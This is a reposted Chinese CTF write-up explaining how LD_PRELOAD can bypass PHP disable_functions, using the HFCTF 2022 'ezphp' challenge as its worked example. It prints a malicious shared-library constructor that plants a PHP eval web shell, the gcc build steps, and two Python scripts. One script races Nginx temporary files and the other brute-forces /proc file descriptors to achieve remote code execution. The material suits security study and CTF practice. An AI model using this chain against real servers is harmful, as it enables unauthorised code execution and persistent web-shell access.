本文介绍: LD_PRELOAD是Linux系统一个环境变量,它可以影响程序运行时的链接(Runtime linker),它允许你定义程序运行优先加载动态链接库。这个功能主要就是用来选择性的载入不同动态链接库中的相同函数通过这个环境变量我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能使用自己的或是更好函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。什么链接


原理

LD_PRELOAD介绍

LD_PRELOAD是Linux系统一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行优先加载动态链接库。这个功能主要就是用来选择性的载入不同动态链接库中的相同函数通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能使用自己的或是更好函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

什么链接

程序的链接主要有以下三种

静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
运行动态链接:原程序编译后得到的目标模块,在程序执行过程需要用到时才对它进行链接。

对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题假如程序动态加载的函数恶意的,就有可能导致disable_function绕过
使用LD_PRELOAD绕过条件

能够上传自己的.so文件
能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数
存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等

当我们能够设置环境变量比如putenv函数未被禁止,我们就可以把LD_PRELOAD变量设置恶意.so文件的路径,只要启动新的进程就会在新进程运行前优先加载该恶意.so文件,由此,恶意代码就被注入到程序中。

如何上传.so文件

利用Nginx 在后端 Fastcgi 响应过大产生临时文件和竞争包含解决
详细可参考[HXPCTF 2021]includer’s revenge

简单的RCE就是可以蚁剑连接后在/tmp上传,难的话就像下面的例题

例题 [虎符CTF 2022]ezphp

源码如下

 <?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?> 

就是简单的三元运算符存在参数env

首先恶意.so文件的构造
创建1.c文件,写入一句话木马,写到shell.php

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("echo "<?php eval(\$_POST['cmd']);?&gt;" > /var/www/html/shell.php");
}

注:\是为了防转义(\待定)

然后在Linux系统下用自带gcc进行编译

gcc -shared -fPIC 1.c -o 1.so

增大so文件的大小,在so文件尾部加入字符

var=`dd if=/dev/zero bs=1c count=10000 | tr '' 'c'

执行

echo $var >> 1.so

可以看到文件是变大了

在这里插入图片描述
然后上脚本

脚本一(向网站发包)

from threading import Thread
import requests
import socket
import time

port = 28552
host = "node2.anna.nssctf.cn"


def do_so():
    data = open("1.so", "rb").read()

    packet = f"""POST /index.php HTTP/1.1rnHOST:{host}:{port}rnContent-Length:{len(data) + 11}rnrn"""
    packet = packet.encode()

    packet += data
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.sendall(packet)
    time.sleep(10)
    s.close()


if __name__ == "__main__":
    do_so()

脚本二(爆破一下pid

import requests
from threading import Thread

port = 28552
host = "node2.anna.nssctf.cn"

def ldload(pid, fd):
   sopath = f"/proc/{pid}/fd/{fd}"
   print(sopath)
   r = requests.get(f"http://{host}:{port}/index.php", params={"env":f"LD_PRELOAD={sopath}"})
   return r

if __name__ == "__main__":
   # ldload(20, 20)
   for pid in range(12, 40):
       for fd in range(1, 40):
           t = Thread(target=ldload, args=(pid, fd))
           t.start()

在Linux同时运行脚本(当然windows也行)

python3 1.py &amp; python3 2.py

通过脚本,一直往服务器写入so文件
在这里插入图片描述
传入成功后,在/shell.php直接命令执行

原文地址:https://blog.csdn.net/m0_73512445/article/details/134631262

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任

如若转载,请注明出处:http://www.7code.cn/show_20618.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注